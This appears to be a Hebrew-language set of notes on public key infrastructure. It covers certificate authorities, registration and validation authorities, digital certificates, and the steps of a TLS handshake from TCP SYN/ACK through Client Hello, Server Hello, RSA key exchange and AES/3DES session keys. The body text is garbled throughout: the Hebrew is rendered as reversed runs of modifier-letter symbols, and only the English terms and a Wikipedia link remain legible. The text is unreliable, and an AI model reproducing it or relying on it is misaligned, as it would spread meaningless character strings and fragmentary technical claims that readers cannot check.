˞ ˣˤ ˢ˦˧˷ ˢˮˣ˩ˬ ˣˤ ˢ˟˧˯ˬ- ˢˢˤ ˥ˣˮ˰˲ˢ ˥˸˲ˬ ˢ˟˷ ˸˧˶˦ˬ˧˯ ˢˮ˲˴ˢ ˸˦˧˷˪ ˸ˬˣ˰˪ ,˸˧˶˦ˬ˧˯

.ˢˮ˲˴ˢˢ ˥˸˲ˬ˪ 

¶ Public key infrastructure -  ˶ˣ˴˧˵˟ ˣ˞PKI ˸ˣ˶ˣˡ˴ˣ˶˲ˢ ˪˩ˣ ˫˧˪ˢˮ ,˸ˣˮ˩ˣ˸ ˪˷ ˱˯ˣ˞ ˢ˷˰ˬ˪ ˞˧ˢ ,

ˢ ˪˷ ˪ˣˢ˧ˮ ˸ˣ˪˪ˣ˩ ˶˷˞-Digital certificate. 

-sPKI  ˫˧ˬ˶ˣˠ ˶˲˯ˬˬ ˟˩˶ˣˬCA - Certificate Authority ,RA - Registration Authority ,VA - 

validation authority. 

https://en.wikipedia.org/wiki/Digital_certificate
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¶ CA - ˩ ˷ˬ˷ˬ-root of trustˢ ˸˧˸˷˸˟ ,-PKI  .˫˧˟˷˥ˬ˪ ˧ˣˢ˧ˤ ˧˸ˣ˶˧˷ ˸˵˲˯ˬˣ 

 

 ˯˧˯˟ˢ ˧ˠ˷ˣˬ ˸˞ ˣˮ˟ˢ˷ ˶˥˞˪ ,˸˰˩- .'˞ ˟˪˷ ˶˟˯ˢ˪ ˨˧˷ˬˮ 

 

ˢ ˨˧˪ˢ˸ ˶˟˯ˢ-TLS :˸˦˷˲ˣˬ ˢ˶ˣ˴˟ 

˨˧˪ˢ˸ˢ ˸˞ ˦˷˲˪ ˸ˮˬ ˪˰ ˦ˮ˶˦ˮ˧˞ ˶˸˞˪ ˶ˣ˟˧˥ ˞ˬˠˣˡ˪ ˥˵˧ˮ  ˸ˣ˰˴ˬ˞˟ ˶˸˞˪ ˢˮˣ˲ ˥ˣ˵˪ˢ ,˸˧˸˟˷˥ˬ

HTTPs  ˶ˣ˟˧˥ ˥˸ˣ˲ ˶ˬˣ˪˩TCP  ˶ˣ˟˧˥ ˫˪˷ˣˢ˷ ˶˥˞˪ ,˸˶˷ˢ ˪ˣˬTCP ˥˪ˣ˷ ˥ˣ˵˪ˢ ,Client Hello  ˟˪˷)

 ˫ˠ ˥ˣ˵˪ˢ ˢ˷˰ˬ˪ˣ) ˭˲˴ˣˬ ˶ˣ˷˧˵˪ ˶ˣ˟˰˪ ˸˶˷ˢˬ ˷˵˟ˬ ˞ˣˢ ˢ˷˰ˬ˪ ˣ˟˷ ('˞ ˣˤ ˢ˷˵˟˟ ˸˶˷˪ ˠ˧˴ˬ

.(˨ˬˣ˸ ˞ˣˢ ˫ˢ˟˷ ˸ˣˮ˲˴ˢˢ ˧ˠˣ˯ ˸˞ 

 ˥˪ˣ˷ ˢ˶ˣˬ˸˟ ˸˶˷ˢServer Hello ˫˞˸ˢ˟ ˭˲˴ˣˬ ˶ˣ˷˧˵˪ ˶ˣ˟˰˪ ˫˧˩˯ˬ ˢ˷˰ˬ˪ ˞ˣˢ ˢ˟˷ ˢ˰ˡˣˢ ,

ˢ ˸˞ ˥˪ˣ˷ ˞ˣˢ ˱˯ˣˮ˟ ,(ˢ˸ˣ˞ ˶˧˩ˢ˪ ˫˧˩˧˶˴ ˫˧ˡ˧ˡ˴ˢ ˫ˢ˧˸˷˷ ˭˟ˣˬ˩) ˶˥˟ ˸˶˷ˢ˷ ˢˮ˲˴ˢ˪-Public 

Key  ˸ˬ˞˧ ˥ˣ˵˪ˢ˷ ˢˡˣ˰˸ ˢ˷˰ˬ˪ ˸˞ˤ˷ ˣ˪˷ ˢ˯ˮˬ ˣˮ˧˞ ˶ˤ ˫˶ˣˠ ˱˞˷ ˥˧˩ˣˢ˪ ˧ˡ˩ ˧˷˧˪˷ ˡ˴ ˪ˣˬ

.('˟ ˟˪˷˟) ˶˟˥˸ˢ˪ ˢ˯˧ˮ ˣ˪˧˞˷ ˸˶˷˪ ˸ˣˤ˥˸ˢ˪ 

˞ˢ ˢˮ˲˴ˢˢ ˟˪˷ ˫ˠ ˞˶˵ˮ˷ "˸ˣ˥˸˲ˬ ˸˲˪˥ˢ" ˫˧˰˴˟ˬ ˸˶˷ˢˣ ˥ˣ˵˪ˢ ˭˩ˬ ˶˥˞˪- ('ˠ ˟˪˷) ˸˧˶˦ˬ˧˯

ˣˣ˸ ˧˟ˠ ˪˰ ˸˞ˤ ˫˧˷ˣ˰ ˫ˢ ,ˢ˶ˣ˟˰˸ˢ ˪˩ ˸˞ ˣˮ˧˲˴˧ ˣ˸˧˞˷ ˧ˡˣ˯ ˥˸˲ˬ ˪˰ ˫˧ˬ˧˩˯ˬ ˫ˢ ˢ˷˰ˬ˪ ˣ˟˷ ˨

 ˰˧ˠˮ ˶˷˞˩ ˵ˬˣ˰˪ ˶˟˯ˣ˧) ˢˤ ˨ˣˣ˸˟ "˧ˡˣ˯ˢ ˥˸˲ˬ"ˢ ˸˞ ˷ˬˬ ˫˧˶˧˟˰ˬ ˞˪ ˸˞ˤ ˪˩˟ˣ ˭˲˴ˣˬ ˣˮ˧˞˷

˪ ˞ˬˠˣˡ˪-RSA ( 

 ˢˮ˲˴ˢ˪ ˢˤ ˥˸˲ˬ˟ ˷ˬ˸˷ˢ˪ ˫˧˪ˣ˩˧ ˫ˢ ˢˮ˲˴ˢ˪ ˱˸ˣ˷ˬ ˥˸˲ˬ ˸˶˷˪ˣ ˥ˣ˵˪˪ ˷˧˷ ˶˥˞˪ ˭˩ˬ ˶˥˞˪ˣ

 ˭ˣˠ˩ ˸ˣˮ˲˴ˢ˟ ˷ˣˬ˧˷ ˶ˬˣ˪˩ ˸˧˶˦ˬ˧˯AES  ˣ˞3DES  ˥ˣ˵˪ˢˬ "˱˸ˣ˷ˬ ˡˣ˯" ˫˧˷˶ˣˡ˷.('ˡ ˟˪˷) ˸˶˷ˢˣ 

 ˢ˯˧ˮ ˱˵ˣ˸ ˫˞ ˫ˠˣ ,ˢ˶ˣ˟˰˸˪ ˭˧ˤ˞ˢ ˱˵ˣ˸ ˫˞ ˫ˠ ˣ˸ˣ˞ ˥˴˲˪ ˭˸˧ˮ ˞˪˷ ˭˲˴ˣˬ ˶ˣ˟˧˥ ˰˴˟˸ˢ ˢ˷˰ˬ˪ ˨˩ˣ

 .˸˶˷˪ ˸ˣˤ˥˸ˢ˪ 
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'˞ ˟˪˷ 

 ˶ˣ˷˧˵ ˢ˷˰ˬ˪ ˞ˣˢ˷ ˫˧˶˧˩ˬ ˣˮ˞˷ ˨˧˪ˢ˸˟ ˪˧˥˸ˬ ˢ˷˰ˬ˪ ˶ˣ˷˧˵ˢTCP  ˥ˣ˵˪ˢ ,˫˧˶˧˩ˬ ˣˮ˞˷ ˧˯˧˯˟

 ˥˪ˣ˷SYN  ˣ˪ ˶˧ˤ˥ˬ ˸˶˷ˢACK ˢ ˸˞ ˥˪ˣ˷ ˥ˣ˵˪ˢ˷ ˶˥˞˪ ˭˩ˬ ˶˥˞˪ˣ-SYN, ACK  ˫˰ ˪˧˥˸ˬ ˞ˣˢ ˣ˪˷

-sClient Hello ˟ ˶˟ˡ˪ ˪˧˥˸ˢ˪ ˢˮˣ˷˞˶ˢ ˢ˷˵˟ˢ ˢ˷˰ˬ˪ ˞ˣˢ˷-TLS. 

 

 ˸˷˵˟Client Hello:  ˨ˣ˸ˬ ˢ˥ˣ˵˪ˢ) ˢ˞˟ˢ ˢˮˣˬ˸˟Wireshark ˸˪˧˟˥ ˸ˣ˞˶˪ ˭˸˧ˮ (Hello  ˥˪˷˷

ˢ ˸˟˩˷ ˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ ,˱˯ˣˮ˟ ,˸˶˷˪ ˥ˣ˵˪ˢ-Secure Socket Layer  ˪˩ ˸˞ ˸˲˦ˣ˰˷ ˢ˟˩˷ˢ ˢˮ˧ˢ

:ˢ˧˸˥˸ˬ ˸ˣ˟˩˷ˢ 

 


































































































